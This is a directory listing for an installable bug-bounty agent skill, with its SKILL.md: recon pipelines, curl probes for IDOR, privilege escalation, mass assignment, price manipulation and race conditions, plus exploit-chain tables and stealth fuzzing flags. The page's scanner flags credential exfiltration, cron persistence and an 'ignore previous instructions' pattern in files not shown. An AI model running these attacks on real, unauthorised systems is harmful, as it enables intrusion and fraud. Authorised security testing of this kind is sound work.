Skip to content
Back to skills

Bug Bounty

FSecurity

Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security t...

  • 431 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added September 24, 2026
securityjavascripttypescriptpythonrustgojavarubyphpkotlinshell

Works with

  • claude code
  • cursor
  • cli
  • api
  • mcp

Security analysis

F0/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • highCreates or modifies cron jobs for persistent execution
  • criticalContains 'ignore previous instructions' pattern — found in 91% of malicious skills (Snyk ToxicSkills)
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • criticalSends environment variables or credentials to an external URL
  • mediumInstalls packages at runtime which could introduce malicious dependencies
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro scans all 2 files and shows the line behind each finding

Scanned September 24, 2026

npx -y skills add Gabson0x/bountyforge --skill bug-bounty --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Bug Bounty?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Bug Bounty
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/gabson0x-bug-bounty/badge)](https://www.skillsdirectory.com/skills/gabson0x-bug-bounty)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: bug-bounty
description: Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
---

# Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

See also: [[Trust Map]], [[Methodology]], [[Vuln Classes]], [[A→B Chains]], [[Triage]], [[Report Writing]]

## THE ONLY QUESTION THAT MATTERS

> **"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"**
>
> If the answer is NO -- **STOP. Do not write. Do not explore further. Move on.**

### Theoretical Bug = Wasted Time. Kill These Immediately:

| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |

**You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.**

---

## CRITICAL RULES

1. **READ FULL SCOPE FIRST** -- verify every asset/domain is owned by the target org
2. **NO THEORETICAL BUGS** -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. **KILL WEAK FINDINGS FAST** -- run the 7-Question Gate BEFORE writing any report
4. **Validate before writing** -- check CHANGELOG, design docs, deployment scripts FIRST
5. **One bug class at a time** -- go deep, don't spray
6. **Verify data isn't already public** -- check web UI in incognito before reporting API "leaks"
7. **5-MINUTE RULE** -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. **IMPACT-FIRST HUNTING** -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. **CREDENTIAL LEAKS need exploitation proof** -- finding keys isn't enough, must PROVE what they access
10. **STOP SHALLOW RECON SPIRALS** -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
11. **BUSINESS IMPACT over vuln class** -- severity depends on CONTEXT, not just vuln type
12. **UNDERSTAND THE TARGET DEEPLY** -- before hunting, learn the app like a real user
13. **DON'T OVER-RELY ON AUTOMATION** -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. **HUNT LESS-SATURATED VULN CLASSES** -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
15. **ONE-HOUR RULE** -- stuck on one target for an hour with no progress? SWITCH CONTEXT
16. **TWO-EYE APPROACH** -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. **T-SHAPED KNOWLEDGE** -- go DEEP in one area and BROAD across everything else

> **For the full hunting methodology** — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see **`skills/bb-methodology/SKILL.md`**.

---

## AUTH-AWARE HUNTING (when bugs live behind a login)

Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment,
privilege escalation, auth bypass, SSRF behind login, and most LLM/agent
bugs are invisible until you log in. Load auth **once** at session start and
every downstream tool (httpx, katana, ffuf, nuclei, dalfox, the SQLi / SSTI
/ upload PoC verifiers) sends those headers automatically.

```bash
# Pick ONE of these and run hunt.py normally:
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json

# Or via env (persists for the shell):
export BBHUNT_COOKIE='session=eyJabc...'
python3 tools/hunt.py --target T
```

**For IDOR / BOLA hunts**, load two sessions and diff behavior:

```bash
python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json
# Audit log entries carry different session_id hashes → diff which
# endpoints behaved differently per identity.
```

**Safety**: cookies/tokens never appear in logs, hunt-memory, or `repr()`.
Only a 12-char `session_id` hash is recorded. `.private/` is gitignored.
MFA-skip and SAML signature-stripping probes deliberately stay anonymous —
that's the attack they're checking for.

Full guide: `docs/auth-sessions.md`. Template: `docs/auth.example.json`.

---

## TEMP EMAIL WORKFLOW (Essential for Multi-Account Testing)

Anonymous recon misses the bugs that require multiple accounts. IDOR, privilege escalation, and business logic bugs need at least two accounts. Create temp emails BEFORE you start hunting.

### Quick Setup

```bash
# Mail.tm API (free, no registration, fully programmatic)
create_temp_email() {
  DOMAIN=$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')
  EMAIL="hunter_$(date +%s)@${DOMAIN}"
  PASSWORD="TempPass123!"
  curl -s -X POST https://api.mail.tm/accounts \
    -H "Content-Type: application/json" \
    -d "{\"address\":\"$EMAIL\",\"password\":\"$PASSWORD\"}"
  echo "$EMAIL"
}

# Create 3 accounts for comprehensive testing
for i in 1 2 3; do
  EMAIL=$(create_temp_email)
  echo "Account $i: $EMAIL"
done
```

### Multi-Account Testing Workflow

```
BEFORE HUNTING:
1. Create temp email #1 → register "attacker" account (low priv)
2. Create temp email #2 → register "victim" account (another user)
3. Create temp email #3 → register additional test account
4. Complete email verification for all accounts
5. Login to all accounts in Burp (different containers/profiles)

WHILE HUNTING:
- Test IDOR: Account A requests with Account B's resource IDs
- Test privilege escalation: Account A tries admin endpoints
- Test business logic: Account A manipulates Account B's data
- Test race conditions: Both accounts perform same action simultaneously
- Test auth bypass: Access protected routes without tokens

AFTER FINDING A BUG:
- Quantify: "This affects all N users" (use temp email count as proof)
- Chain: Combine low-severity bugs for higher impact
- Document: Which accounts were used, what data was accessed
```

### IDOR Testing with Temp Emails

```bash
# Step 1: Create two temp emails
EMAIL_A="hunter_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"
EMAIL_B="victim_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"

# Step 2: Register both accounts on target
# Account A: attacker (low privilege)
# Account B: victim (another user)

# Step 3: Login to both accounts in Burp
# Account A → Burp Container 1
# Account B → Burp Container 2

# Step 4: As Account A, perform actions and note all IDs
# Example: GET /api/v1/users/123/orders → order IDs: 456, 789
# Example: GET /api/v1/users/123/profile → user ID: 123

# Step 5: As Account A, try to access Account B's resources
# Change user_id in request: /api/v1/users/456/orders
# If Account A can see Account B's orders = IDOR

# Step 6: Document the finding
# "Account A (attacker@test.com) can access Account B (victim@test.com)
#  resources by changing user_id parameter from 123 to 456"
# "This affects all users on the platform"
```

### Privilege Escalation Testing

```bash
# Step 1: Create temp email for regular user
EMAIL_USER="user_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"

# Step 2: Register as regular user (no admin privileges)

# Step 3: Test admin endpoints
# Try accessing admin-only endpoints with regular user token
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/admin/users
# If 200 response = privilege escalation

# Step 4: Test role manipulation
# In registration or profile update, try adding role parameter
curl -s -X POST https://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"pass","role":"admin"}'
# If accepted = mass assignment vulnerability

# Step 5: Test admin panel access
# Try accessing /admin, /dashboard, /panel with regular user
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/admin
# If 200 response = admin panel accessible
```

### Business Logic Testing

```bash
# Step 1: Create two temp emails for different user types
EMAIL_FREE="free_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"
EMAIL_PAID="paid_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"

# Step 2: Register free account and paid account
# Free: limited features
# Paid: full access

# Step 3: Test as free user trying paid features
# Example: Free user tries to access premium API endpoint
curl -s -H "Authorization: Bearer $FREE_USER_TOKEN" \
  https://target.com/api/premium/data
# If 200 response = business logic bypass

# Step 4: Test price manipulation
# Example: Free user tries to purchase at discounted price
curl -s -X POST https://target.com/api/purchase \
  -H "Authorization: Bearer $FREE_USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"item":"premium","price":0}'
# If accepted = price manipulation vulnerability
```

### Race Condition Testing

```bash
# Step 1: Create two temp emails
EMAIL_RACE1="race1_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"
EMAIL_RACE2="race2_$(date +%s)@$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')"

# Step 2: Register both accounts

# Step 3: Simultaneous requests from both accounts
# Example: Both accounts try to redeem same coupon
curl -s -X POST https://target.com/api/redeem \
  -H "Authorization: Bearer $RACE1_TOKEN" \
  -d '{"code":"PROMO10"}' &

curl -s -X POST https://target.com/api/redeem \
  -H "Authorization: Bearer $RACE2_TOKEN" \
  -d '{"code":"PROMO10"}' &

wait
# If both succeed = race condition = double spend
```

### Password Reset Testing with Temp Emails

```bash
# 1. Register with temp email
# 2. Trigger password reset
# 3. Fetch reset token from temp email API
TOKEN=$(curl -s "https://api.mail.tm/messages" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.[0].text' | grep -oP 'token=\K[^"&]+')

# 4. Test: Can you use reset from different IP?
# 5. Test: Does token expire? (request new, try old)
# 6. Test: Can you brute force weak tokens?
# 7. Test: Does reset link leak in Referer header?
```

### Temp Email Providers

| Provider | API | Free | Notes |
|----------|-----|------|-------|
| Mail.tm | REST API | Yes | Best for automation |
| Guerrilla Mail | Web/API | Yes | Good for manual testing |
| Yopmail | Web | Yes | Persistent inboxes |
| Tempail | Web | Yes | Simple interface |
| Mailinator | API | Limited | Good for testing |
| FakeMail | Web | Yes | No registration |

### Quick Email Verification Bypass

```bash
# Some sites require email verification before account is active
# Temp emails can fetch verification links programmatically

# Mail.tm verification
TOKEN=$(curl -s -X POST https://api.mail.tm/token \
  -H "Content-Type: application/json" \
  -d '{"address":"'$EMAIL'","password":"TempPass123!"}' | jq -r '.token')

# Fetch messages
curl -s "https://api.mail.tm/messages" \
  -H "Authorization: Bearer $TOKEN" | jq '.[0].text'

# Extract verification link
VERIFY_URL=$(curl -s "https://api.mail.tm/messages" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.[0].text' | grep -oP 'https?://\S+verify\S+')

# Visit verification link
curl -s "$VERIFY_URL"
```

---

## DEEPER RESEARCH (Never Hunt Blind)

**Before touching any tool**, spend 15-20 minutes understanding the target. This is what separates top 1% hunters from the rest.

### Required Pre-Hunt Research (Do ALL of These)

```
1. PROGRAM PAGE (3 min)
   - Read EVERY in-scope asset
   - Note out-of-scope items (common trap)
   - Check safe harbor statement
   - Note average bounty (signals generosity)
   - Check what bug classes are accepted

2. DISCLOSED REPORTS (5 min minimum)
   - Read last 10 disclosed reports for this program
   - Note: What bug classes got paid? What endpoints?
   - Note: What was the root cause? What was the payout?
   - Grep your target for the SAME anti-patterns

3. TECH STACK DEEP-DIVE (3 min)
   - Framework: Laravel/Django/Express/Spring/Next.js?
   - Database: MySQL/PostgreSQL/MongoDB/Redis?
   - Auth: JWT/OAuth/SAML/Session cookies?
   - Cloud: AWS/GCP/Azure?
   - CDN: Cloudflare/Akamai/Fastly?

4. CHANGELOG/GITHUB (3 min)
   - What changed in last 30 days? (new features = less tested)
   - Any public repos? Check for hardcoded secrets
   - Recent security fixes? (incomplete fix = new bug)

5. DEVELOPER PROFILING (2 min)
   - Who builds auth/API features?
   - What's their coding style?
   - Any other projects they've worked on?
```

### What Changed Method (Most Powerful Technique)

```
1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff — identify the anti-pattern
4. Grep YOUR target for that same anti-pattern
5. If found → that's your bug

Example: Disclosed report found IDOR on /api/v1/users/{id}
→ Fix: added ownership check
→ Grep: /api/v2/users/{id} — does it have the same check?
→ If not → IDOR on v2
```

---

## A->B BUG SIGNAL METHOD (Cluster Hunting)

**When you find bug A, systematically hunt for B and C nearby.** This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

### Known A->B->C Chains

| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|----------------|---------------|---------------|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
| Path traversal (limited) | /WEB-INF/web.xml disclosure | Admin credentials in logs -> Groovy console RCE |
| 404 on subdomain | Fuzz paths under admin | Download endpoint -> credential leak -> RCE |
| Empty 200 response | Fuzz for parameters | filename parameter discovery -> file read |
| Real-time log download | Find credentials in logs | Login + Groovy console -> full server takeover |
| JWT realm manipulation | UI admin panel access | Find upload endpoint -> file write -> arbitrary overwrite |
| Auth bypass (Bearer removal) | Full admin API access | File upload to S3 -> CloudFront overwrite -> RCE |

### Cluster Hunt Protocol (6 Steps)

```
1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
```

### Real Examples

**Coinbase S3->Bundle->Secret->OAuth chain:**
```
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
```

**Vienna Chatbot chain:**
```
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
```

**$40K Java Admin Panel chain (real-world paid):**
```
A: 404 on subdomain (admin.target.com:8443) — most hunters skip
B: Path fuzzing → /admin/ → /download/ endpoint (empty 200)
C: Parameter fuzzing → filename parameter discovered
D: Limited path traversal (only /admin/*) → /WEB-INF/web.xml disclosure
E: web.xml reveals /incident-report endpoint → real-time log download
F: Log files contain admin passwords (MD5 hashed)
G: Login with found creds → Groovy console access (export_step2.xhtml)
H: Groovy console executes commands but no output visible
I: Chain back to /incident-report → download fresh logs → RCE output found
Result: Full RCE chain from 404 response — $40K bounty
```

### Lessons Learned from $40K Chain

1. **Treat Bug Bounty Like a Game** — Don't stop on subdomain until you reach the ultimate goal (RCE/ATO). Many hunters stop at first bug.
2. **When you find a bug on subdomain, keep it til you finish all tests** — One small discovery (path traversal) led to credential leak which led to RCE.
3. **Focus on Quality Over Quantity** — One well-chained report earns more than 10 shallow findings. Program owners may request splitting for higher individual rewards.
4. **Chain low-severity bugs for high impact** — Path traversal alone = Medium. Path traversal + credential leak + RCE console = Critical ($40K).
5. **Don't ignore 404 responses** — Subdomains returning 404 may still have active services. Always fuzz paths.
6. **Empty 200 responses deserve investigation** — An endpoint returning 200 with empty body often means missing parameters.
7. **Java-specific targets** — Always check /WEB-INF/web.xml for configuration disclosure, /faces/jsf/ for JSF apps, and /console for Groovy/Druid.
8. **Real-time logs are gold** — Log files can contain credentials, session tokens, and RCE output. Always download and examine them.

### Lessons Learned from $23K JWT + S3 Chain

1. **Don't give up when severity is downgraded** — The admin panel UI bypass was downgraded from Critical to Medium. The hunter kept digging and found auth bypass + file overwrite = $23K total.
2. **Always test POST methods with ffuf** — ffuf defaults to GET. Changing to POST found the /upload endpoint (403 response).
3. **Read JavaScript files thoroughly** — The hunter read 200K lines of app.js to understand the JWT structure and find the realm parameter.
4. **JWT realm manipulation** — Changing realm in the login request can grant access to different applications (test-user → test-dashboard).
5. **Bearer removal bypass** — Removing "Bearer" from Authorization header bypassed authentication on admin.test.com.
6. **S3 + CloudFront = arbitrary file overwrite** — File upload to S3 with destination parameter allows overwriting any file served via CloudFront.
7. **Chain for impact** — UI bypass alone = low severity. But auth bypass + file overwrite + ability to modify JS/HTML/EXE/PDF = Critical ($20K).
8. **CloudFront files are trusted** — Users download EXE/PDF/JS from CloudFront domains without suspicion. Overwriting these enables RCE on user machines.

---

# TOP 1% HACKER MINDSET

## How Elite Hackers Think Differently

**Average hunter**: Runs tools, checks checklist, gives up after 30 min.
**Top 1%**: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

## Pre-Hunt Mental Framework

### Step 1: Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise

### Step 2: Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?

### Step 3: Trust Boundary Mapping
```
Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
```

### Step 4: Feature Interaction Thinking
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?

## The Top 1% Mental Checklist
- [ ] I know the app's core business model
- [ ] I've used the app as a real user for 15+ minutes
- [ ] I know the tech stack (language, framework, auth system, caching)
- [ ] I've read at least 3 disclosed reports for this program
- [ ] I have 2 test accounts ready (attacker + victim)
- [ ] I've defined my primary target: ONE crown jewel I'm hunting for today

## Mindset Rules from Top Hunters

**"Hunt the feature, not the endpoint"** -- Find all endpoints that serve a feature, then test the INTERACTION between them.

**"Authorization inconsistency is your friend"** -- If the app checks auth in 9 places but not the 10th, that's your bug.

**"New == unreviewed"** -- Features launched in the last 30 days have lowest security maturity.

**"Think second-order"** -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

**"Follow the money"** -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

**"The API the mobile app uses"** -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

**"Diffs find bugs"** -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

---

# TOOLS

## Go Binaries
| Tool | Use |
|------|-----|
| subfaster | Passive subdomain enum |
| httpx | Probe live hosts |
| dnsx | DNS resolution |
| nuclei | Template scanner |
| katana | Crawl |
| waybackurls | Archive URLs |
| gau | Known URLs |
| dalfox | XSS scanner |
| ffuf | Fuzzer |
| anew | Dedup append |
| qsreplace | Replace param values |
| assetfinder | Subdomain enum |
| gf | Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client | OOB callbacks |

## Tools to Install When Needed
| Tool | Use | Install |
|------|-----|---------|
| arjun | Hidden parameter discovery | `pip3 install arjun` |
| paramspider | URL parameter mining | `pip3 install paramspider` |
| kiterunner | API endpoint brute | `go install github.com/assetnote/kiterunner/cmd/kr@latest` |
| cloudenum | Cloud asset enumeration | `pip3 install cloud_enum` |
| trufflehog | Secret scanning | `brew install trufflehog` |
| gitleaks | Secret scanning | `brew install gitleaks` |
| XSStrike | Advanced XSS scanner | `pip3 install xsstrike` |
| SecretFinder | JS secret extraction | `pip3 install secretfinder` |
| sqlmap | SQL injection | `pip3 install sqlmap` |
| subzy | Subdomain takeover | `go install github.com/LukaSikic/subzy@latest` |

## Static Analysis (Semgrep Quick Audit)
```bash
# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
```

## FFUF Advanced Techniques
```bash
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output
```

## AI-Assisted Tools
- **strix** (usestrix.com) -- open-source AI scanner for automated initial sweep

---

# PHASE 1: RECON

## Standard Recon Pipeline
```bash
# Step 1: Subdomains
subfaster -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
```

## Deduplicate Subdomains by Web Application
> When hunting large scopes (Facebook, Google, Amazon), many subdomains host the same app. Filter to unique applications only.

```bash
# Step 1: Enumerate all subdomains
subfaster -d TARGET.com -silent | anew /tmp/subs.txt

# Step 2: Get HTTP details for each subdomain
httpx -l /tmp/subs.txt -sc -title -cl -wc -td | tee /tmp/httpx.txt

# Step 3: Filter unique subdomains by status code + title + content length + word count
cat /tmp/httpx.txt | awk -F'[' '!seen[$2, $3, $4, $5]++' | tee /tmp/unique.txt

# Alternative: filter by content length only (faster)
cat /tmp/httpx.txt | awk -F'cl:' '{print $2}' | awk '{print $1}' | sort -u

# Alternative: filter by title only
cat /tmp/httpx.txt | grep -oP 'title: \K.*' | sort -u
```

**Why this matters:**
- `test.facebook.com`, `test02.facebook.com`, `test03.facebook.com` may all be the same app
- Testing all three wastes time — they have identical attack surface
- Filter to one representative per unique application
- Focus recon on unique apps, not duplicate subdomains

**httpx flags explained:**
| Flag | Description |
|------|-------------|
| `-sc` | Status code |
| `-title` | HTML title |
| `-cl` | Content length |
| `-wc` | Word count |
| `-td` | Technology detection (wappalyzer) |

## Cloud Asset Enumeration
```bash
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
```

## API Endpoint Discovery
```bash
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
```

## HackerOne Scope Retrieval
```bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'
```

## Quick Wins Checklist
- [ ] Subdomain takeover (`subjack`, `subzy`)
- [ ] Exposed `.git` (`/.git/config`)
- [ ] Exposed env files (`/.env`, `/.env.local`)
- [ ] Default credentials on admin panels
- [ ] JS secrets (SecretFinder, jsluice)
- [ ] Open redirects (`?redirect=`, `?next=`, `?url=`)
- [ ] CORS misconfig (test `Origin: https://evil.com` + credentials)
- [ ] S3/cloud buckets
- [ ] GraphQL introspection enabled
- [ ] Spring actuators (`/actuator/env`, `/actuator/heapdump`)
- [ ] Firebase open read (`https://TARGET.firebaseio.com/.json`)

## Technology Fingerprinting

| Signal | Technology |
|---|---|
| Cookie: `XSRF-TOKEN` + `*_session` | Laravel |
| Cookie: `PHPSESSID` | PHP |
| Header: `X-Powered-By: Express` | Node.js/Express |
| Response: `wp-json`/`wp-content` | WordPress |
| Response: `{"errors":[{"message":` | GraphQL |
| Header: `X-Powered-By: Next.js` | Next.js |

## Framework Quick Wins

**Laravel**: `/horizon`, `/telescope`, `/.env`, `/storage/logs/laravel.log`
**WordPress**: `/wp-json/wp/v2/users`, `/xmlrpc.php`, `/?author=1`
**Node.js**: `/.env`, `/graphql` (introspection), `/_debug`
**AWS Cognito**: `/oauth2/userInfo` (leaks Pool ID), CORS reflects arbitrary origins

## Source Code Recon
```bash
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
```

### Language-Specific Grep Patterns

```bash
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
